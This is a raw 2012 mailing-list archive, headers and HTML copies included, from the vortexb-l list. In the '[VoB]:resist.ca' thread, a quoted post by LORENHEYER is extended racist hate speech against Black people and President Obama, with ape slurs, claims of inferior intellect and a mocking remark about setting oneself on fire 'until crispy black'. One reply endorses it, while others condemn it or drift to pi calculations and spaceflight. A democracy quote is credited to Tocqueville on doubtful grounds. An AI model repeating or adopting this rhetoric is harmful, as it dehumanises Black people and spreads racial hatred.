vortexb-l-request@eskimo.com using -f Message-ID: <50A2C9C9.5090604@resist.ca> Date: Tue, 13 Nov 2012 17:29:29 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:resist.ca References: <46cac.1c80a975.3dd3fb47@aol.com> In-Reply-To: <46cac.1c80a975.3dd3fb47@aol.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4597 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 838 Are we stuck here with this racist, low-brow white trash cracker..? -- grok. On 12/11/13 14:36, LORENHEYER@aol.com wrote: > Thanks for clarifying..... I'd like to comment on this, but first, let me > just say that now that the out'n out two-bit phony, fake, fraud, of an > low-life illegal illegitimate imposter of a slimey slithering snake and/or a wolf > in sheeps's clothing, a fox guarding the hen-house, that was once again (and > really, what else would you expect?) "fraudulently" re-elected (yeah, > whatever) as the President,,, and all "only" to become a Dictator by 2016, if not > much sooner! > > The reason this Dictator remains the so-called President is Because > of the mindless obvious shallow superficial illintentioned Black Community > (which basically possess a rather small survival brain "only" and/or an > extremely Low Mentality with little to no regard for real actual civilized human > beings. Basically, anyone who isn't 'For' Blacks or their stealing pilaging > looting rioting plundering animal ways, is either a Capitalist, Racist, > Whitey and/or someone who wants to have their cranial cavity caved in. > > Just a reminder to all those who think that being a part of some > "movement" is going to work to your advantage, then you don't know how clever the BO > emanating from the Whitey House is. The prime directive or goal of any > Dictator, and especially this Monkey that has completely duped the Dumb Crack > Head Party into believing he's a legitimate human being,,, is to divide & > conquer. > BO is currently in the > process of setting-up and/or shoving aside everyone he deems unfaithful or > uncommitted to his cause, and the sooner, the better! .. So, if you really feel > the desire belong and/or commit yourself to some worthwhile effort, > movement, or cause, you might want to first give some thought as to what you > "actually" hope to accomplish. BO's goal basically is to have all his 100% thugly > mugly overgrown ape-like muzzleheaded drones become "very" established > wherever there's power & money to be controlled. > > So, if anyone of you are planning > on applying for one of these prestigous positions, you might want to first > learn how to speak the language. Practice grunting & flairing your nostrils, > and flap your lips kind'a like you're licking all over BO's big phony black > ass, and then also, you'll need to learn how to walk w/ style, kind'a like > you have the attitude of a very highly agitated overgrown ape-like monkey > that's missing one of his pimped out virgins, that you forgot about,,, and of > course, you'll need to either take a black magic marker, or rub your skin > with coal,,, Or, another way would be to dowse yourself in gasoline and start > yourself on fire,,, until crispy black... Please remember that IF you > choose this method, you'll likely remain very ugly for along time! > Thank you. > > << About the Resist! Collective >> from ; Mr T. > > > > From vortexb-l-request@eskimo.com Tue Nov 13 14:32:36 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qADMWY3Y026922; Tue, 13 Nov 2012 14:32:34 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qADMWXYv026888; Tue, 13 Nov 2012 14:32:33 -0800 Resent-Date: Tue, 13 Nov 2012 14:32:33 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=AHiql3OPqM91ogkfv+T/7cdashu04RECH4LDdlQyC4w=; b=oCD0ueZb1NQk288+XixXJd7lx+O6GyxJYDO2uW8NZpErf2WuEH9n1MiBzC8qWMeETK VPhM6KofRAZK20qD9bBOBAkpJrgGAnvPJiHEUlyPlgMhVycnyzK2qurhxKGJw57eAuBg RfoOYnayz3TxGFQUL2kboX1+Qx9zYUChEf0pLr3QAchOCKZFhP6oUd+eo82+XcMacSjh ivwW65sxn9OxHhHpqTk879HZK7vFkbrysbTpykK5r34KmWqK8z+xxmdVs9tpU5neYd4D r0cN/HrUO3fFqZn8NsBaj+MyUev+39jtcKUReqc8Jbe0F2gMoBexcjOfEjLpP6amrHl2 dbXw== MIME-Version: 1.0 In-Reply-To: <50A2C9C9.5090604@resist.ca> References: <46cac.1c80a975.3dd3fb47@aol.com> <50A2C9C9.5090604@resist.ca> Date: Wed, 14 Nov 2012 00:32:30 +0200 Message-ID: Subject: Re: [VoB]:resist.ca From: Esa Ruoho To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=e89a8ff2563c4f935804ce67fe0c Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4598 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 839 --e89a8ff2563c4f935804ce67fe0c Content-Type: text/plain; charset=ISO-8859-1 Hey, neat, there's a new guy that has hit the 1000$ donation at http://www.quantumheat.org/index.php/donate Let's see how long it takes for top5 donors to all be 1000$, instead of 1000$(Jed), 1000$(Robert), 500$(Andreas), 500$(Manuel), 100$(Manfred).. On Wed, Nov 14, 2012 at 12:29 AM, grok wrote: > > Are we stuck here with this racist, low-brow white trash cracker..? > > -- grok. --e89a8ff2563c4f935804ce67fe0c Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Hey, neat, there's a new guy that has hit the 1000$ donation at http://www.quantumheat.org= /index.php/donate
Let's see how long it takes for top5 donors to= all be 1000$, instead of 1000$(Jed), 1000$(Robert), 500$(Andreas), 500$(Ma= nuel), 100$(Manfred)..



On Wed, Nov 14, 2012 at 12:29 AM, gr= ok <grok@resist.ca> wrote:

Are we stuck here with this racist, low-brow white trash cracker..?

-- grok.
--e89a8ff2563c4f935804ce67fe0c-- From vortexb-l-request@eskimo.com Tue Nov 13 14:42:38 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qADMgbNT028592; Tue, 13 Nov 2012 14:42:37 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qADMga2J028586; Tue, 13 Nov 2012 14:42:36 -0800 Resent-Date: Tue, 13 Nov 2012 14:42:36 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ap0EAG6Zu0/O+Ihr/2dsb2JhbABEtRmCFQEBAQECAQEBATdPCANGVwUUiAkFugmLCIIegx4DiEKMWIEQjmGDBw X-IronPort-AV: E=Sophos;i="4.75,637,1330923600"; d="scan'208";a="207561455" Date: Tue, 13 Nov 2012 17:42:24 -0500 From: Vorl Bek To: vortexb-l@eskimo.com Subject: Re: [VoB]:resist.ca Message-Id: <20121113174224.5e5f21db29f0dd33e9be4eaa@antichef.com> In-Reply-To: <50A2C9C9.5090604@resist.ca> References: <46cac.1c80a975.3dd3fb47@aol.com> <50A2C9C9.5090604@resist.ca> X-Mailer: Sylpheed 3.2.0beta5 (GTK+ 2.24.10; x86_64-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4599 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 840 On Tue, 13 Nov 2012 17:29:29 -0500 grok wrote: > > Are we stuck here with this racist, low-brow white trash cracker..? > > -- grok. > I think he makes great sense, even if he expresses the truth a little too pointedly. Thanks for quoting him; since it appears he is now able to edit his posts so that they are readable, I will remove him from my killfile. From vortexb-l-request@eskimo.com Tue Nov 13 14:49:17 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qADMnFhK029499; Tue, 13 Nov 2012 14:49:15 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qADMnFNX029495; Tue, 13 Nov 2012 14:49:15 -0800 Resent-Date: Tue, 13 Nov 2012 14:49:15 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <50A2CE59.5040804@resist.ca> Date: Tue, 13 Nov 2012 17:48:57 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:resist.ca References: <46cac.1c80a975.3dd3fb47@aol.com> <50A2C9C9.5090604@resist.ca> <20121113174224.5e5f21db29f0dd33e9be4eaa@antichef.com> In-Reply-To: <20121113174224.5e5f21db29f0dd33e9be4eaa@antichef.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4600 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 841 On 12/11/13 17:42, Vorl Bek wrote: > On Tue, 13 Nov 2012 17:29:29 -0500 > grok wrote: > >> Are we stuck here with this racist, low-brow white trash cracker..? >> >> -- grok. >> > I think he makes great sense, even if he expresses the truth a > little too pointedly. > > Thanks for quoting him; since it appears he is now able to edit his > posts so that they are readable, I will remove him from my > killfile. Well, if you like peckerwood poetry, feel free. -- grok. From vortexb-l-request@eskimo.com Tue Nov 13 14:52:53 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qADMqqAD030722; Tue, 13 Nov 2012 14:52:52 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qADMqqhe030714; Tue, 13 Nov 2012 14:52:52 -0800 Resent-Date: Tue, 13 Nov 2012 14:52:52 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <50A2CF35.5070504@resist.ca> Date: Tue, 13 Nov 2012 17:52:37 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:resist.ca References: <46cac.1c80a975.3dd3fb47@aol.com> <50A2C9C9.5090604@resist.ca> In-Reply-To: Content-Type: multipart/alternative; boundary="------------000401050708010505040403" Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4601 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 842 This is a multi-part message in MIME format. --------------000401050708010505040403 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 12/11/13 17:32, Esa Ruoho wrote: > Hey, neat, there's a new guy that has hit the 1000$ donation at > http://www.quantumheat.org/index.php/donate > Let's see how long it takes for top5 donors to all be 1000$, instead > of 1000$(Jed), 1000$(Robert), 500$(Andreas), 500$(Manuel), > 100$(Manfred).. > > > > On Wed, Nov 14, 2012 at 12:29 AM, grok > wrote: > > > Are we stuck here with this racist, low-brow white trash cracker..? > > -- grok. > At least you have something positive to say, Esa. I should be listening to your hypnotic background music now... ;) -- grok. --------------000401050708010505040403 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit
On 12/11/13 17:32, Esa Ruoho wrote:
Hey, neat, there's a new guy that has hit the 1000$ donation at http://www.quantumheat.org/index.php/donate
Let's see how long it takes for top5 donors to all be 1000$, instead of 1000$(Jed), 1000$(Robert), 500$(Andreas), 500$(Manuel), 100$(Manfred)..



On Wed, Nov 14, 2012 at 12:29 AM, grok <grok@resist.ca> wrote:

Are we stuck here with this racist, low-brow white trash cracker..?

-- grok.

At least you have something positive to say, Esa. I should be listening to your hypnotic background music now...
;)

-- grok.
--------------000401050708010505040403-- From vortexb-l-request@eskimo.com Tue Nov 13 15:19:44 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qADNJg4g028956; Tue, 13 Nov 2012 15:19:43 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qADNJgkn028944; Tue, 13 Nov 2012 15:19:42 -0800 Resent-Date: Tue, 13 Nov 2012 15:19:42 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=NpnVes5ol+28R9Ol/Eigp1DiCzpnLFz6L10zx2Z/t/4=; b=gVFOjoL3AHZJsphtllkV/eMJZvSeHQZVjF6dJeEH988G9wnrqCNh3CXc1m4T/ap1kj DZryHlMIc86FU7s4J7p56wb73JFyZS26TmG/Zlq6hDW9hThXF1L8xuvtvNJLmA48yTvW vSDhyC32iybRcCs5urxJ2ho0VMQHlx5tSGJtm8j3/2utNhWdKaCZt4vDD1fukTKDfSru IOX8N1wBvjT2RTgwoUFUycq0CsmoNLlE6U4MSd2B8mXyXQC0CZVOwLtKiEs7dZv1YUMj LfNJmHByu2DjQn1z6Q+YlpY9VNcksW/bPJQx0B82e0Os0s8z3YoOnVoBszm94ickODx2 58kg== MIME-Version: 1.0 In-Reply-To: <13077.1d5e9d34.3dcd34f3@aol.com> References: <13077.1d5e9d34.3dcd34f3@aol.com> Date: Wed, 14 Nov 2012 00:19:42 +0100 Message-ID: Subject: Re: [VoB]:Math From: David Jonsson To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=20cf307cfeda1aa9d704ce68a78e Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4602 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 843 --20cf307cfeda1aa9d704ce68a78e Content-Type: text/plain; charset=ISO-8859-1 Nothing since precision usually never counts that much. Tell me why pi is calculated to such extreme precision when it isn't needed. With that I don't mean that I am uninterested in pi-calculations. I wonder if something faster than Bellards formula can be calculated. The problem is that that it is not obvious on how to calculate efficiency of an algorithm. Matematically it is simple: just minimize the number of arithmetical operations. In reality the speed of an implementation in a computer has to be considered and then there is a tradeoff between aritmetic operations and the size of the numbers involved. the factors involved are bigger than the 80-bit real numbers so there the numbers can not be represented as they usually are Maybe this can be considered an error in considering pi-calculations, that efficiency has been considered only in terms of number of aritmetic operations. The goal of computing should also be redefined. It is more important to maximize the number of decimals per time unit instead of calculating the most decimals of pi. It is not a very challenging taks to buy hard disk drives and fill them with decimals. Based on these new goals I wonder if a GPU implementation would be faster than the previous CPU calculations. Another funny fact is that different methods of calculation will give the same result for finite recursions around certain positions in the decimals where there are many zeros. David David Jonsson, Sweden, +46703000370 On Thu, Nov 8, 2012 at 5:16 PM, wrote: > Sure, that's a good idea!... but just remember that math labs can be > dangerous. I for one am no mathmatician, but I wonder what would happen > if your > calculations were just slightly off... > > << Could vortexb-l be used for math? > > David >> > > > --20cf307cfeda1aa9d704ce68a78e Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Nothing since precision usually never counts that much. Tell me why pi is c= alculated to such extreme precision when it isn't needed. With that I d= on't mean that I am uninterested in pi-calculations.

I wonder if something faster than Bellards formula can be calculated. The p= roblem is that that it is not obvious on how to calculate efficiency of an = algorithm. Matematically it is simple: just minimize the number of arithmet= ical operations. In reality the speed of an implementation in a computer ha= s to be considered and then there is a tradeoff between aritmetic operation= s and the size of the numbers involved. the factors involved are bigger tha= n the 80-bit real numbers so there the numbers can not be represented as th= ey usually are

Maybe this can be considered an error in considering pi= -calculations, that efficiency has been considered only in terms of number = of aritmetic operations.

The goal of computing sho= uld also be redefined. It is more important to maximize the number of decim= als per time unit instead of =A0calculating the most decimals of pi. It is = not a very challenging taks to buy hard disk drives and fill them with deci= mals.=A0

Based on these new goals I wonder if a GPU implementati= on would be faster than the previous CPU calculations.=A0

Another funny fact is that different methods of calculation will gi= ve the same result for finite recursions around certain positions in the de= cimals where there are many zeros.=A0

David

David Jonsson, Sweden, +46703000370



On Thu, Nov 8, 2012 at 5:16 PM, <LORE= NHEYER@aol.com> wrote:
Sure, that's a good idea!... but just remember that math labs can be dangerous. =A0I for one am no mathmatician, but I wonder what would happen = if your
calculations were just slightly off...

<< Could vortexb-l be used for math?

=A0David >>
</HTML>


--20cf307cfeda1aa9d704ce68a78e-- From vortexb-l-request@eskimo.com Tue Nov 13 15:41:08 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qADNf6ft000872; Tue, 13 Nov 2012 15:41:06 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qADNf58H000861; Tue, 13 Nov 2012 15:41:05 -0800 Resent-Date: Tue, 13 Nov 2012 15:41:05 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=Q6Qlca/yUp4a3osxbOoEDDmtRO3NE7xjJ03Phh3onvE=; b=PFqregTBVPZ827/eUuNz55rt7joELZgw3Yft1Dxs96RFbMTgj22+246Wy9vH6G35Bz 11fPe2TbR//HHHBvNkn6zYU4pZaSLYAiEK+0ScRZABbryHhMC3mWDZtA+sy7Xd1dmTvi aMFk7DAKGRuiqGOxDeAzg0O395eLT1uW8Okcl/xJ7/BtMEHJC8RwzRYLanurJyOTaycy pCNPvTx4wfOMqf7jyajcEr2Mn3M2YWKz5IRzpPfsUAHYethbPFt53Ed7oyyLjeApr5GP RriGdhMD7ooQyifY7vXNckHIjiULZ2aWOHQ3pWvVjqOoCnPZgy5qBtAXPz/Weq4cWWbm hrtg== MIME-Version: 1.0 In-Reply-To: <50A2CF35.5070504@resist.ca> References: <46cac.1c80a975.3dd3fb47@aol.com> <50A2C9C9.5090604@resist.ca> <50A2CF35.5070504@resist.ca> Date: Tue, 13 Nov 2012 18:41:05 -0500 Message-ID: Subject: Re: [VoB]:resist.ca From: albedo5 To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=14dae93409a99c0d2704ce68f38f Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4603 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 844 --14dae93409a99c0d2704ce68f38f Content-Type: text/plain; charset=ISO-8859-1 I saw something online today that made me think of the recent silly discussion in here...go figure. :) http://blogs.edweek.org/edweek/global_learning/2012/11/post-election_teaching_kids_how_to_respectfully_disagree.html?cmp=ENL-EU-VIEWS2 It's really hard for me to stomach that people believe the crap I'm seeing in here, but I actually have friends that spout it, also. If someone has the power to pull the wool over enough peoples' eyes, then s/he deserves to be president. Our world is changing significantly, as it always is. Much of the military power we wield today is ineffective in these technological times. The Commanche program was killed mainly due to the fact that its mission can be accomplished using small unmanned UAVs. While I am still dealing emotionally with the end of the space program as I lived it, it was time to be privatised. I don't like it - but I am extremely happy that folks such as Burt Rutan and Richard Bronson have the foresight to keep manned spaceflight moving forward...even if it's not nearly as fast as I'd like to see it. I don't expect folks like LORENHEYER or grok to lead us in a round of 'Kumbaya', but geeze. Hearing the same stuff over and over, just to create more strife and to feel important, really gets old. Before anyone suggests it, I do know how to hit my delete button. And I will, after this. I just needed to vent. Some things never change....grok gives me faith in that sense. :) Debbie --14dae93409a99c0d2704ce68f38f Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable I saw something online today that made me think of the recent silly discuss= ion in here...go figure.=A0 :)

http://blogs.edweek.org/edweek/global_= learning/2012/11/post-election_teaching_kids_how_to_respectfully_disagree.h= tml?cmp=3DENL-EU-VIEWS2

It's really hard for me to stomach that people believe the crap I&#= 39;m seeing in here, but I actually have friends that spout it, also.=A0 If= someone has the power to pull the wool over enough peoples' eyes, then= s/he deserves to be president.

Our world is changing significantly, as it always is.=A0 Much of the mi= litary power we wield today is ineffective in these technological times.=A0= The Commanche program was killed mainly due to the fact that its mission c= an be accomplished using small unmanned UAVs.=A0 While I am still dealing e= motionally with the end of the space program as I lived it, it was time to = be privatised.=A0 I don't like it - but I am extremely happy that folks= such as Burt Rutan and Richard Bronson have the foresight to keep manned s= paceflight moving forward...even if it's not nearly as fast as I'd = like to see it.

I don't expect folks like LORENHEYER or grok to lead us in a round = of 'Kumbaya', but geeze.=A0 Hearing the same stuff over and over, j= ust to create more strife and to feel important, really gets old.

Before anyone suggests it, I do know how to hit my delete button.=A0 And I = will, after this.=A0 I just needed to vent.=A0 Some things never change....= grok gives me faith in that sense.=A0 :)


Debbie
--14dae93409a99c0d2704ce68f38f-- From vortexb-l-request@eskimo.com Tue Nov 13 16:01:08 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qAE0165E005762; Tue, 13 Nov 2012 16:01:06 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qAE015Hn005754; Tue, 13 Nov 2012 16:01:05 -0800 Resent-Date: Tue, 13 Nov 2012 16:01:05 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=QqehIpBHpYpRQ3p4a9Pch+MXXbBmMNV6DjRYy9o9fLU=; b=pGw6l4p7ho8MQq4hvmviTEhlj7MWxztEDaKOHeJdAZofnvEfufjK6a/vyDX/4cWmTP Z31HPhxLXE+HyRVVnWUz1FvPrJJ5N0S0eEdLDDwk8eNxU83bOJoWAebSBwxXJlIzw1Pz EpT34sHR+WuK2/fmXolvXz8F1kX8htyYX+88E+9CvHbCeYMJhjzzrj+TbsI8nyGmIPGF Z5ttm8SwHzb2ZJpTZzX01Pb2cm4Gj06H09VHcCOtZTjb0QixwVWkyBVNRXBmUhUMpDq0 Ia5Bi04TkKcXwIFqp0a9LpKvOEUkTeCgXwZmUBWtrqSCXGPlX30uJbF30JaMYKq9Evt3 lgkA== MIME-Version: 1.0 In-Reply-To: References: <46cac.1c80a975.3dd3fb47@aol.com> <50A2C9C9.5090604@resist.ca> <50A2CF35.5070504@resist.ca> Date: Tue, 13 Nov 2012 19:01:05 -0500 Message-ID: Subject: Re: [VoB]:resist.ca From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=047d7b621ee619d68504ce693b33 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4604 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 845 --047d7b621ee619d68504ce693b33 Content-Type: text/plain; charset=ISO-8859-1 On Tue, Nov 13, 2012 at 6:41 PM, albedo5 wrote: > I don't like it - but I am extremely happy that folks such as Burt Rutan > and Richard Bronson have the foresight to keep manned spaceflight moving > forward...even if it's not nearly as fast as I'd like to see it. > You forgot Elon Musk. "A democracy cannot exist as a permanent form of government. It can only exist until the voters discover that they can vote themselves largesse from the public treasury. From that moment on, the majority always votes for the candidates promising the most benefits from the public treasury with the result that a democracy always collapses over loose fiscal policy, always followed by a dictatorship. The average age of the world's greatest civilizations has been 200 years." -- Alexis de Tocqueville --047d7b621ee619d68504ce693b33 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable


On Tue, N= ov 13, 2012 at 6:41 PM, albedo5 <albedo5@gmail.com> wrote:
 
I don't like it - but I am extr= emely happy that folks such as Burt Rutan and Richard Bronson have the fore= sight to keep manned spaceflight moving forward...even if it's not near= ly as fast as I'd like to see it.

You forgot Elon Musk.

“A democracy cannot exis= t as a permanent form of government. It can only exist until the voters dis= cover that they can vote themselves largesse from the public treasury. From= that moment on, the majority always votes for the candidates promising the= most benefits from the public treasury with the result that a democracy al= ways collapses over loose fiscal policy, always followed by a dictatorship.= The average age of the world's greatest civilizations has been 200 yea= rs.” 
―  exist until the voters discover that they can vote themselves largesse from > the public treasury. From that moment on, the majority always votes for the > candidates promising the most benefits from the public treasury with the > result that a democracy always collapses over loose fiscal policy, always > followed by a dictatorship. The average age of the world's greatest > civilizations has been 200 years." > -- Alexis de Tocqueville > --14dae93407b768c75704ce696b4b Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable So I guess we're 36 years overdue.  Looking back, that was about r= ight.  <sigh>

I so want to believe that in our hearts, we= all want to do the Right Thing [TM]...that old cosmic checkbook of karma, = ya know.  It's a shame that intellectually I know better now.

It's always enlighteningto reach such uplifting sentiments.  S= peaking of some things never changing.  :)


Debbie

On Tue, Nov 13, 2012 at 7:01 PM, Terry Blanton= <hohlraum@gmail.com> wrote:



On Tue, Nov 13, 2012 at 6:41 PM, al= bedo5 <albedo5@gmail.com> wrote:

 
I don't like it - but I am extr= emely happy that folks such as Burt Rutan and Richard Bronson have the fore= sight to keep manned spaceflight moving forward...even if it's not near= ly as fast as I'd like to see it.

You forgot Elon Musk.

“A democracy cannot exis= t as a permanent form of government. It can only exist until the voters dis= cover that they can vote themselves largesse from the public treasury. From= that moment on, the majority always votes for the candidates promising the= most benefits from the public treasury with the result that a democracy al= ways collapses over loose fiscal policy, always followed by a dictatorship.= The average age of the world's greatest civilizations has been 200 yea= rs.” 
― Alexis de Tocqueville

--14dae93407b768c75704ce696b4b-- From vortexb-l-request@eskimo.com Tue Nov 13 18:52:30 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qAE2qSht009542; Tue, 13 Nov 2012 18:52:28 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qAE2qQBf009527; Tue, 13 Nov 2012 18:52:26 -0800 Resent-Date: Tue, 13 Nov 2012 18:52:26 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=ve4ei8/99CS/l9N0DfIFtTKefu/1idNa+AI1DJohdX0=; b=Nz3vVte5T52LPtOTsPNwOHQKq25w+E2hArcb5L3iaD7BseM+inrYEfQE/Mb+c6po4g iYb8mblmzBp2TnfK9nC2XbvzmO+YHaYjKNqVNTe5G8C8d21Bm8F9bO65OzFxmB1GKUZg Pc7lxu+KdJ5fzidsNB1ZfAFFH9bCi47un3Ypg3j76VcllULdMRaxYCfGgIFLKqQRhVF4 7+zXuGp+8vY8mO09EuN8GeXnW/a+jtipoOxslSIf0daMbByn1Kl+n4QlguI2UPsFOPeW KQIQW5g1UAxr2ei40CEcyPmut/EyTP+xh6MXx9y3i1zBtAcDFhdVoq69WHSA2I12uK3v FWmQ== MIME-Version: 1.0 In-Reply-To: References: <46cac.1c80a975.3dd3fb47@aol.com> <50A2C9C9.5090604@resist.ca> <50A2CF35.5070504@resist.ca> Date: Tue, 13 Nov 2012 21:52:25 -0500 Message-ID: Subject: Re: [VoB]:resist.ca From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=f46d0435bf4edf966404ce6b9fb6 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4606 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 847 --f46d0435bf4edf966404ce6b9fb6 Content-Type: text/plain; charset=ISO-8859-1 On Tue, Nov 13, 2012 at 7:01 PM, Terry Blanton wrote: > "A democracy cannot exist as a permanent form of government. It can only > exist until the voters discover that they can vote themselves largesse from > the public treasury. From that moment on, the majority always votes for the > candidates promising the most benefits from the public treasury with the > result that a democracy always collapses over loose fiscal policy, always > followed by a dictatorship. The average age of the world's greatest > civilizations has been 200 years." > -- Alexis de Tocqueville > Is a coup d'etat ever good, David? --f46d0435bf4edf966404ce6b9fb6 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable


